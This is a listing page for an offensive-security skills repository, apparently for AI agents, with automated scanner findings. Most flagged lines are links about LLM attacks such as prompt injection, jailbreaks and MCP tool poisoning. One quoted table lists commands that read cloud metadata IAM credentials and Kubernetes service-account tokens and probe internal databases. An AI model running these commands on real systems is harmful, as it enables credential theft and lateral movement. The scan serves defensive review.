| 命令注入空格绕过 | `ctf-web` | `references/command-injection-bypass.md` |View the complete source on GitHubSkills included
- ai-mcp-security
- android-pentest
- client-reverse
- crypto-toolkit
- ctf-crypto
- ctf-misc
- ctf-web
- cve-triage
- hackerone
- intranet-pentest-advanced
- osint-recon
- pentest-tools
- rapid-checklist
- redteam-ad-detail-pack
- redteam-api-detail-pack
- redteam-auth-detail-pack
- redteam-cache-poison-detail-pack
- redteam-clickjacking-detail-pack
- redteam-cloud-detail-pack
- redteam-cmdi-detail-pack
- redteam-code-audit-detail-pack
- redteam-container-detail-pack
- redteam-cors-miscfg-detail-pack
- redteam-crypto-detail-pack
- redteam-csrf-detail-pack
- redteam-cve-lookup
- redteam-cve-validation
- redteam-deserialize-detail-pack
- redteam-evasion-detail-pack
- redteam-file-detail-pack
- redteam-injection-detail-pack
- redteam-logic-detail-pack
- redteam-mobile-detail-pack
- redteam-network-detail-pack
- redteam-open-redirect-detail-pack
- redteam-payload-detail-pack
- redteam-postex-detail-pack
- redteam-recon-detail-pack
- redteam-recon-intake
- redteam-reverse-detail-pack
- redteam-sqli-detail-pack
- redteam-ssrf-detail-pack
- redteam-ssti-detail-pack
- redteam-subdomain-takeover-detail-pack
- redteam-web-detail-pack
- redteam-xss-detail-pack
- redteam-xxe-detail-pack
- secknowledge-skill
- web-pentest
- web-security-advanced
Repository facts
- License
- MIT
- Created
- Jul 9, 2026
- Last pushed
- Aug 24, 2026
- Forks
- 34
- Open issues
- 8
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 4, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 18 notes
deepsec/spear/skills/specialized/ctf-web/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/ctf-web/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/ctf-web/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/hackerone/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/osint-recon/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/redteam-code-audit-detail-pack/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/redteam-code-audit-detail-pack/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddeepsec/spear/skills/specialized/redteam-xss-detail-pack/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 103 dangerous shell commandsin 21 files: ctf-misc/references/linux-privesc-quick.md:8 web-pentest/references/web-injection.md:356 web-security-advanced/references/web-injection.md:356 and 18 more
- 1,944 network referencesin 121 files: ai-mcp-security/references/04-ai-and-mcp-security-integrated.md:122 pentest-tools/references/tools-reference-13-web-penetration.md:12 pentest-tools/references/tools-reference-11-information-gathering.md:18 and 118 more
- 10 obfuscation signalsin 6 files: ctf-misc/references/encoding-chain-reference.md:74 secknowledge-skill/references/web-rce.md:102 web-pentest/references/web-injection.md:509 and 3 more
- No instruction overrides
- No executable scripts
- 34 references to secretsin 24 files: osint-recon/references/osint-toolkit.md:58 osint-recon/references/website-recon.md:180 ai-mcp-security/references/04-ai-and-mcp-security-integrated.md:149 and 21 more
- No requests to vote in Hot
Show all 2,091 signals by file
deepsec/spear/skills/specialized/ai-mcp-security/references/04-ai-and-mcp-security-integrated.md
- Network accessline 122
http://youtube.com/watch?v=7ZA0Z1R-MjQ - Network accessline 123
http://youtube.com/watch?v=KksYizcLFH0 - Access to secretsline 149
[Credential-related source omitted] - Network accessline 182
https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks - Network accessline 183
https://atlas.mitre.org/techniques/AML.T0051 - Network accessline 184
https://github.com/invariantlabs-ai/mcp-injection-experiments - Network accessline 245
https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks - Network accessline 246
https://mp.weixin.qq.com/s/EJLb1IwqbPF3VSDkJu099g - Network accessline 247
https://x.com/hongming731/status/1922261630664245326 - Network accessline 248
https://news.qq.com/rain/a/20250429A07QY000 - Network accessline 309
https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/ - Network accessline 310
https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/ - Network accessline 376
https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/ - Network accessline 377
https://www.solo.io/blog/deep-dive-mcp-and-a2a-attack-vectors-for-ai-agents - Network accessline 438
https://aclanthology.org/2024.scalellm-1.2/ - Network accessline 439
https://atlas.mitre.org/techniques/AML.T0051 - Network accessline 440
https://josephthacker.com/ai/2023/05/19/prompt-injection-poc.html - Network accessline 441
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 495
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html - Network accessline 572
https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2 - Network accessline 626
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Unauthorized_Code_Execution.html - Network accessline 627
https://www.calvin-risk.com/blog/decoding-llm-risks-a-comprehensive-look-at-unauthorized-code-execution - Network accessline 666
https://mp.weixin.qq.com/s/eFDQWYYCOe_SSiourhTxig - Network accessline 752
https://arxiv.org/html/2402.16914v1 - Network accessline 861
https://promptengineering.org/mind-over-malware-battling-the-growing-arsenal-of-attacks-on-large-language-models/ - Network accessline 862
https://www.toolify.ai/ai-news/the-future-of-hacking-5-terrifying-llm-security-threats-544868 - Network accessline 902
https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/ - Network accessline 903
https://openai.com/index/memory-and-new-controls-for-chatgpt/ - Network accessline 981
https://portswigger.net/web-security/llm-attacks - Network accessline 1029
https://labs.withsecure.com/publications/llm-agent-prompt-injection - Network accessline 1081
https://labs.withsecure.com/publications/llm-agent-prompt-injection - Network accessline 1129
http://youtube.com/watch?v=7ZA0Z1R-MjQ - Network accessline 1130
http://youtube.com/watch?v=KksYizcLFH0 - Network accessline 1192
https://mp.weixin.qq.com/s/9JwADiu9t3kqcfqnRMC2zQ - Network accessline 1193
https://finance.sina.com.cn/tech/digi/2025-06-01/doc-ineypqvh0855918.shtml - Network accessline 1194
https://zhuanlan.zhihu.com/p/1900540531131523166 - Network accessline 1245
https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA - Network accessline 1302
https://atlas.mitre.org/techniques/AML.T0051.001 - Network accessline 1303
https://twitter.com/random_walker/status/1636923058370891778 - Network accessline 1304
https://medium.com/@harry.hphu/introduction-to-web-llm-attacks-indirect-prompt-injection-7bb9f154bc07 - Network accessline 1305
https://medium.com/@dinob5551/indirect-prompt-injection-the-hidden-threat-lurking-in-ai-730b009dd5fb - Network accessline 1466
https://drive.google.com/file/d/1CTVcliUblX35cWfB49Xjhf8xk-fM3QH1/edit?pli=1 - Network accessline 1520
https://analyticsindiamag.com/metas-llama-leaked-to-the-public-thanks-to-4chan/ - Network accessline 1521
https://knightcolumbia.org/blog/the-llama-is-out-of-the-bag-should-we-expect-a-tidal-wave-of-disinformation - Network accessline 1573
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1574
https://cloud.baidu.com/article/3253170 - Network accessline 1575
https://www.akto.io/blog/insecure-output-handling-in-llms-insights - Network accessline 1576
https://journal.hexmos.com/insecure-output-handling/ - Network accessline 1577
https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2 - Network accessline 1630
https://sec.cafe/handbook/security_research/ai_security/llm_security/attack/ - Network accessline 1675
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html - Network accessline 1676
https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/ - Network accessline 1677
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1721
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 1771
https://www.wehelpwin.com/article/5063 - Network accessline 1772
https://medium.com/nfactor-technologies/rag-poisoning-an-emerging-threat-in-ai-systems-660f9ff279f9 - Network accessline 1773
https://ironcorelabs.com/security-risks-rag/ - Network accessline 1829
https://arxiv.org/html/2312.04724v1 - Network accessline 1875
https://security.tencent.com/index.php/blog/msg/209 - Network accessline 1940
https://hiddenlayer.com/research/insane-in-the-supply-chain/ - Network accessline 2137
https://atlas.mitre.org/techniques/AML.T0029 - Network accessline 2138
https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v05.pdf - Network accessline 2139
https://www.cnblogs.com/LittleHann/p/17596696.html - Network accessline 2189
https://blog.securelayer7.net/owasp-top10-for-large-language-models/ - Network accessline 2190
https://www.mufeedvh.com/llm-security/#2-sandboxing-extended-llms - Network accessline 2191
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html - Network accessline 2248
https://mp.weixin.qq.com/s/tf4ljSJ0Ue0YniojWhYMKg - Network accessline 2249
https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure - Network accessline 2299
https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a - Network accessline 2302
https://www.run.ai/guides/kubernetes-architecture/securing-your-ai-ml-kubernetes-environment - Network accessline 2347
https://mp.weixin.qq.com/s/Ry1PoZLfPvw6Lj8bz14mgw - Network accessline 2413
https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf - Network accessline 2458
https://xie.infoq.cn/article/536a3e7e776eb32b38d1a9747 - Network accessline 2459
https://www.helloaliyun.com/tutorial/1039.html - Network accessline 2460
https://support.huaweicloud.com/usermanual-gaussdbformysql/gaussdbformysql_05_0347.html - Network accessline 2509
https://developer.aliyun.com/article/1430094 - Network accessline 2576
https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a - Network accessline 2633
https://ironcorelabs.com/security-risks-rag/ - Network accessline 2682
https://www.securityweek.com/chatgpt-data-breach-confirmed-as-security-firm-warns-of-vulnerable-component-exploitation/ - Network accessline 2736
http://www.bimant.com/blog/top8-ml-model-deployment-tools/ - Network accessline 2737
https://mlflow.org/docs/latest/deployment/index.html - Network accessline 2790
https://www.docker.com/blog/llm-docker-for-local-and-hugging-face-hosting/ - Network accessline 2791
https://collabnix.com/large-language-models-llms-and-docker-building-the-next-generation-web-application/ - Network accessline 2792
https://mp.weixin.qq.com/s/vIDHBLbA5iWoPlYTKHSZfw - Network accessline 2848
https://cloud.baidu.com/article/621826 - Network accessline 2849
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html - Network accessline 2949
https://www.secrss.com/articles/64006 - Network accessline 2950
https://huntr.com/bounties/a795bf93-c91e-4c79-aae8-f7d8bda92e2a - Network accessline 2985
https://doc.dataiku.com/dss/latest/concepts/homepage/index.html - Network accessline 2986
https://www.secrss.com/articles/62742 - Network accessline 3039
https://llmtop10.com/llm05/ - Network accessline 3089
- https://cloud.baidu.com/article/621826 - Access to secretsline 3201
[Credential-related source omitted] - Network accessline 3217
| 目标 | 检测命令 | 利用方式 | |------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | - Network accessline 3218
|------|----------|----------| | 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | | K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret | - Network accessline 3219
| 云元数据 | `curl 169.254.169.254` | 获取IAM临时凭据 | - Network accessline 3220
| K8s API | `curl -k https://kubernetes.default.svc` | 列举Pod/获取Secret | - Network accessline 3221
| K8s ServiceAccount | `cat /var/run/secrets/kubernetes.io/serviceaccount/token` | 认证K8s API | | 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | | Redis | `redis-cli -h REDIS_HOST ping` | 未授权访问 | - Network accessline 3222
| 内网数据库 | `echo \| nc DB_HOST 5432` | 直连数据库 | - Network accessline 3224
| Docker Registry | `curl http://REGISTRY:5000/v2/_catalog` | 拉取敏感镜像 | - Network accessline 3310
https://nordicapis.com/llm-security-hinges-on-api-security/ - Network accessline 3311
https://superface.ai/blog/how-to-connect-openai-gpts-to-apis - Network accessline 3369
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 3427
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 3499
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 3500
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 3501
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 3502
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 3503
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 3549
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 3550
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 3551
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 3552
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 3553
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 3604
https://www.secrss.com/articles/51763 - Network accessline 3605
https://github.com/linexjlin/GPTs - Network accessline 3674
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 3675
https://learnprompting.org/docs/prompt_hacking/leaking - Network accessline 3676
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 3677
https://matt-rickard.com/a-list-of-leaked-system-prompts - Network accessline 3678
https://genai.stackexchange.com/questions/197/how-to-effectively-prevent-prompt-leaking-via-injection - Network accessline 3679
https://twitter.com/simonw/status/1570933190289924096 - Network accessline 3730
https://magazine.sebastianraschka.com/p/ahead-of-ai-8-the-latest-open-source - Network accessline 3731
https://vulcan.io/blog/owasp-top-10-llm-risks-what-we-learned/#h2_1 - Network accessline 3732
https://www.linkedin.com/pulse/security-threats-around-llm-systems-categorization-gaurang-desai-bvale?trk=article-ssr-frontend-pulse_more-articles_related-content-card - Network accessline 3781
https://www.anquanke.com/post/id/247895 - Network accessline 3782
https://www.aixinzhijie.com/article/6825834 - Network accessline 3831
https://blog.barracuda.com/2024/04/03/generative-ai-data-poisoning-manipulation - Network accessline 3832
https://36kr.com/p/2723023103489920 - Network accessline 3833
https://shardsecure.com/blog/data-manipulation-ml - Network accessline 3881
https://blog.csdn.net/2401_84252820/article/details/138406655?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-4-138406655-blog-124579765.235v43pc_blog_bottom_relevance_base5&spm=1001.2101.3001.424 - Network accessline 3929
https://cloud.baidu.com/article/3248650 - Network accessline 3930
https://forum.butian.net/share/3072 - Network accessline 3987
https://aws.amazon.com/cn/blogs/china/privacy-and-security-of-agent-applications/ - Network accessline 3988
https://arxiv.org/abs/2511.17671?utm_source=chatgpt.com - Network accessline 3989
https://arxiv.org/abs/2601.05504?utm_source=chatgpt.com - Network accessline 4053
https://www.lesswrong.com/posts/aPeJE8bSo6rAFoLqg/solidgoldmagikarp-plus-prompt-generation - Network accessline 4054
https://www.lesswrong.com/posts/Ya9LzwEbfaAMY8ABo/solidgoldmagikarp-ii-technical-details-and-more-recent - Network accessline 4102
https://www.nightfall.ai/ai-security-101/model-inversion - Network accessline 4103
https://www.michalsons.com/blog/model-inversion-attacks-a-new-ai-security-risk/64427 - Network accessline 4157
https://mp.weixin.qq.com/s/ygqRv4vGW5YZS1SiVzAejg - Network accessline 4241
https://bj.bcebos.com/ensec-web-privacy/anquan/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%AE%89%E5%85%A8%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E7%99%BD%E7%9A%AE%E4%B9%A6.pdf - Network accessline 4242
https://mp.weixin.qq.com/s/JlJwDRzYG985kF4d6g7qjw - Network accessline 4291
https://news.cctv.com/2022/06/21/ARTIdhgLL1sSK5Hjl0uYWybr220621.shtml - Network accessline 4292
https://atlas.mitre.org/techniques/AML.T0036 - Network accessline 4341
https://www.kuaikuaicloud.com/market/3667.html - Network accessline 4382
http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf - Network accessline 4440
https://mp.weixin.qq.com/s/3WAWy4ZV6Ezft_2MJHMgtg - Network accessline 4441
https://mp.weixin.qq.com/s/yiloJtlmv7MT3df9AnWNZQ - Network accessline 4487
https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg - Network accessline 4488
https://36kr.com/p/2541963790493187 - Network accessline 4538
https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg - Network accessline 4539
https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw - Network accessline 4582
https://mp.weixin.qq.com/s/VCmhL-LbGfCViQrAEwyCAg - Network accessline 4583
https://mp.weixin.qq.com/s/kp1Sl5TC_uuVelhj8HPmdw - Network accessline 4584
https://mp.weixin.qq.com/s/c_cIzecyw48MatwKBZbdUg - Network accessline 4585
https://36kr.com/p/2541963790493187 - Network accessline 4639
https://platform.openai.com/docs/guides/fine-tuning/preparing-your-dataset - Network accessline 4640
https://arxiv.org/abs/2310.03693 - Network accessline 4641
https://blog.csdn.net/yalecaltech/article/details/117135011 - Network accessline 4696
https://cloud.baidu.com/article/1819998 - Network accessline 4749
https://www.eet-china.com/mp/a213535.html - Network accessline 4802
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Training_Data_Poisoning.html - Network accessline 4859
https://mp.weixin.qq.com/s/C9eIW06UXKL8g9TkZzGn_w - Network accessline 4860
https://www.techpolicy.press/new-study-suggests-chatgpt-vulnerability-with-potential-privacy-implications/ - Network accessline 4910
https://ensarseker1.medium.com/data-poisoning-attacks-the-silent-threat-to-ai-integrity-d83900eea276 - Network accessline 4911
https://www.51cto.com/article/760084.html - Network accessline 4967
https://home.dartmouth.edu/news/2024/01/zeroing-origins-bias-large-language-models - Network accessline 5040
https://mp.weixin.qq.com/s/lgMI9tf0xAl8siZYaKcqog - Network accessline 5041
https://mcp.csdn.net/6800a595a5baf817cf49422d.html - Network accessline 5100
https://www.reddit.com/r/cybersecurity/comments/1lzrkf6/another_critical_cvss_9610_mcpbased_vulnerability/ - Network accessline 5101
https://threatprotect.qualys.com/2025/07/03/anthropic-model-context-protocol-mcp-inspector-remote-code-execution-vulnerability-cve-2025-49596/?utm_source=chatgpt.com - Network accessline 5159
https://arxiv.org/pdf/2211.09527.pdf - Network accessline 5160
https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms - Network accessline 5161
https://prompt-guide.xiniushu.com/prompt_hacking/injection - Network accessline 5220
https://www.knightcxx.cn/?p=118 - Network accessline 5288
https://simonwillison.net/2023/Feb/15/bing/ - Network accessline 5289
https://www.tomshardware.com/news/chatgpt-generates-windows-11-pro-keys - Network accessline 5290
https://www.polygon.com/23690187/discord-ai-chatbot-clyde-grandma-exploit-chatgpt?continueFlag=9d7655502c6eb54decc775fab724139d - Network accessline 5340
https://sysdig.com/blog/lateral-movement-cloud-containers/ - Network accessline 5382
https://dtzed.com/studies/2023/10/8093/ - Network accessline 5383
https://www.cobalt.io/blog/llm-insecure-output-handling - Network accessline 5439
https://allabouttesting.org/owasp-agentic-ai-threat-t9-identity-spoofing-impersonation-in-ai-systems/ - Network accessline 5440
https://moanju.org/posts/ai-agent-attack-examples-owasp-2026/ - Network accessline 5488
https://openai.com/blog/march-20-chatgpt-outage - Network accessline 5489
https://securityaffairs.com/144057/data-breach/openai-chatgpt-redis-bug-data-leak.html - Network accessline 5546
https://kenhuangus.medium.com/llm-powered-applications-architecture-patterns-and-security-controls-7a153c3ec9f4 - Network accessline 5547
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Insufficient_Access_Control.html - Network accessline 5601
https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ - Network accessline 5602
https://priyalwalpita.medium.com/securing-the-future-of-ai-a-deep-dive-into-owasps-top-10-security-risks-for-large-language-models-72c5ff540cd3 - Network accessline 5655
http://www.nelab-bdst.org.cn/data/upload/ueditor/20230707/64a78209c719c.pdf - Network accessline 5656
https://blog.csdn.net/douyu0814/article/details/133703803 - Network accessline 5704
https://www.knightcxx.cn/?p=118 - Network accessline 5767
https://thehackernews.com/2023/06/over-100000-stolen-chatgpt-account.html - Network accessline 5768
https://www.makeuseof.com/why-hackers-target-chatgpt-accounts/ - Network accessline 5826
https://mp.weixin.qq.com/s/DMx-By1qxB5cQglkaq9ppQ - Network accessline 5882
https://www.signalfire.com/blog/prompt-injection-security - Network accessline 5883
https://developer.nvidia.com/blog/mitigating-stored-prompt-injection-attacks-against-llm-applications/ - Network accessline 5935
- https://www.securityweek.com/major-organizations-using-hugging-face-ai-tools-put-at-risk-by-leaked-api-tokens/ - Network accessline 5936
- https://aws.amazon.com/cn/what-is/api-key/ - Network accessline 5998
https://medium.com/@nitishjoshi060291/llm-hallucinations-fix-it-with-vector-database-de04eee531da - Network accessline 5999
https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications - Network accessline 6000
https://www.cnblogs.com/LittleHann/p/17440063.html#_label3 - Network accessline 6001
https://dongnian.icu/llms/llms_article/9.%E6%A3%80%E7%B4%A2%E5%A2%9E%E5%BC%BALLM/index.html - Network accessline 6002
https://cloudsecurityalliance.org/blog/2023/11/22/mitigating-security-risks-in-retrieval-augmented-generation-rag-llm-applications - Network accessline 6054
https://www.leewayhertz.com/security-in-ai-development/ - Network accessline 6103
https://atmosphericthinking.medium.com/massive-leak-of-chatgpt-credentials-over-100-000-affected-db6cef3a18c5 - Network accessline 6104
https://blog.csdn.net/FreeBuf_/article/details/140870185?utm_relevant_index=7 - Network accessline 6151
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 6152
https://developer.nvidia.com/zh-cn/blog/securing-llm-systems-against-prompt-injection/ - Network accessline 6198
https://blog.csdn.net/qq_43543209/article/details/135683986 - Network accessline 6247
https://www.pulumi.com/ai/answers/mptvxaHguJ6A4yXSHi92zZ/implementing-role-based-access-to-ai-training-data-in-snowflake - Network accessline 6314
https://github.com/0xk1h0/ChatGPT_DAN - Network accessline 6315
https://www.digitaltrends.com/computing/what-is-dan-prompt-chatgpt/ - Network accessline 6316
https://arxiv.org/abs/2308.03825 - Network accessline 6362
https://www.anthropic.com/research/many-shot-jailbreaking - Network accessline 6414
https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models - Network accessline 6415
https://arxiv.org/pdf/2305.13534.pdf - Network accessline 6478
https://atlas.mitre.org/techniques/AML.T0005 - Network accessline 6551
https://mp.weixin.qq.com/s/LSTZUKOlXP9VZTxa-nKkhA - Network accessline 6552
https://blog.uptrain.ai/llm-jailbreak/ - Network accessline 6553
https://www.fuzzylabs.ai/blog-post/jailbreak-attacks-on-large-language-models - Network accessline 6625
https://www.lakera.ai/blog/jailbreaking-large-language-models-guide - Network accessline 6683
https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ - Network accessline 6741
https://stcn.com/article/detail/1250289.html - Network accessline 6742
https://www.51cto.com/aigc/912.html - Network accessline 6854
https://arxiv.org/abs/2307.15043 - Network accessline 6855
https://twitter.com/andyzou_jiaming/status/1684766170766004224 - Network accessline 6856
https://zhuanlan.zhihu.com/p/662098517 - Network accessline 6952
https://zhuanlan.zhihu.com/p/620575831 - Network accessline 6953
https://atlas.mitre.org/techniques/AML.T0015 - Network accessline 7051
https://mp.weixin.qq.com/s/yozvoCG92TDIF86EEz9g8Q - Network accessline 7052
https://mp.weixin.qq.com/s/RdIQBaBR0RQJUFp0Pf7ovA - Network accessline 7053
https://mp.weixin.qq.com/s/sxjU930eO4K_HKPPWXPlWg - Network accessline 7054
https://mp.weixin.qq.com/s/PGMVqjeI18x7GZyksvtGzQ - Network accessline 7118
https://arxiv.org/pdf/2311.05232.pdf - Network accessline 7119
https://mp.weixin.qq.com/s/qFAQQJ_FuhY2iaLzkoWynA - Network accessline 7120
https://www.lakera.ai/blog/guide-to-hallucinations-in-large-language-models - Network accessline 7121
https://www.appendata.com/blogs/ai-hallucinations - Network accessline 7192
https://mp.weixin.qq.com/s/4UzoMtIL2oSkxzzuceuxhg - Network accessline 7193
https://zh-cn.eureporter.co/internet-2/artificial-intelligence/2024/02/03/laws-to-prevent-ai-terrorism-are-urgently-needed/ - Network accessline 7250
https://infosecwriteups.com/jail-breaking-chatgpt-to-write-malware-9b3ae111f30c - Network accessline 7251
https://www.theregister.com/2024/04/17/gpt4_can_exploit_real_vulnerabilities/ - Network accessline 7252
https://arxiv.org/abs/2404.08144 - Network accessline 7253
https://blog.csdn.net/pengpengjy/article/details/132478358 - Network accessline 7310
https://www.freebuf.com/articles/ai-security/454527.html - Network accessline 7311
https://zhuanlan.zhihu.com/p/1928583554805260699 - Network accessline 7377
https://mp.weixin.qq.com/s/5cEkxtEbH7GUKiQ5aRsnrg - Network accessline 7446
https://mp.weixin.qq.com/s/nOn1aQDEQys5D7sNK1_oPg - Network accessline 7447
https://mp.weixin.qq.com/s/ZpM09SUHSTvM9SrvrlBEmA - Network accessline 7514
https://www.ibm.com/topics/model-drift - Network accessline 7515
https://www.datacamp.com/tutorial/understanding-data-drift-model-drift - Network accessline 7516
https://mp.weixin.qq.com/s/QbADBoHEqpDBKNkr-so3Ig - Network accessline 7517
https://arxiv.org/pdf/2307.09009.pdf - Network accessline 7569
https://arxiv.org/abs/2404.12038 - Network accessline 7682
https://github.com/PKU-YuanGroup/Hallucination-Attack - Network accessline 7683
https://zhuanlan.zhihu.com/p/661444210 - Network accessline 7684
https://arxiv.org/pdf/2310.01469.pdf - Network accessline 7873
https://mp.weixin.qq.com/s/EhEqNlIcpu9RZ36XFL3vWQ - Network accessline 7874
http://www.cbdio.com/BigData/2024-01/11/content_6176237.htm - Network accessline 7949
https://mp.weixin.qq.com/s/krG4NGBCjK5kUL2x_RGRSg - Network accessline 7950
https://world.huanqiu.com/article/4FIHGhZ96FB - Network accessline 7951
https://insight.kellogg.northwestern.edu/zh/article/how-to-prepare-for-ai-generated-misinformation - Network accessline 8009
https://stcn.com/article/detail/1250289.html - Network accessline 8010
https://www.51cto.com/aigc/912.html - Network accessline 8085
https://mp.weixin.qq.com/s/KGqu6i2_xX9d7-x8P189Lw - Network accessline 8200
https://mp.weixin.qq.com/s/8Ca4HmkafP9SxjHayC9zdQ - Network accessline 8201
https://mp.weixin.qq.com/s/-0i0SlGat-Y5hXcM3EIGiw - Network accessline 8202
https://mp.weixin.qq.com/s/2Ai4nKOzEnkhqJD903O8mA - Network accessline 8284
https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA - Network accessline 8342
https://stcn.com/article/detail/1250289.html - Network accessline 8343
https://www.51cto.com/aigc/912.html - Network accessline 8344
https://36kr.com/p/2190993024614530 - Network accessline 8394
https://atlas.mitre.org/tactics/AML.TA0001 - Network accessline 8395
https://www.sohu.com/a/584853485_121124363 - Network accessline 8444
https://atlas.mitre.org/techniques/AML.T0014 - Network accessline 8488
https://atlas.mitre.org/techniques/AML.T0013 - Network accessline 8539
https://36kr.com/p/2653630408081670 - Network accessline 8540
https://www.sciencedirect.com/science/article/abs/pii/S0167865522003063 - Network accessline 8616
https://rodtrent.substack.com/p/must-learn-ai-security-part-8-model - Network accessline 8617
https://arxiv.org/pdf/2403.06634.pdf - Network accessline 8618
https://cloud.tencent.com/developer/article/2378846 - Network accessline 8619
https://www.53ai.com/news/LargeLanguageModel/2024071740891.html - Network accessline 8688
https://atlas.mitre.org/techniques/AML.T0018 - Network accessline 8689
https://defence.ai/ai-security/backdoor-attacks-ml/ - Network accessline 8690
https://arxiv.org/abs/2308.14367 - Network accessline 8743
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_AI_Alignment.html - Network accessline 8805
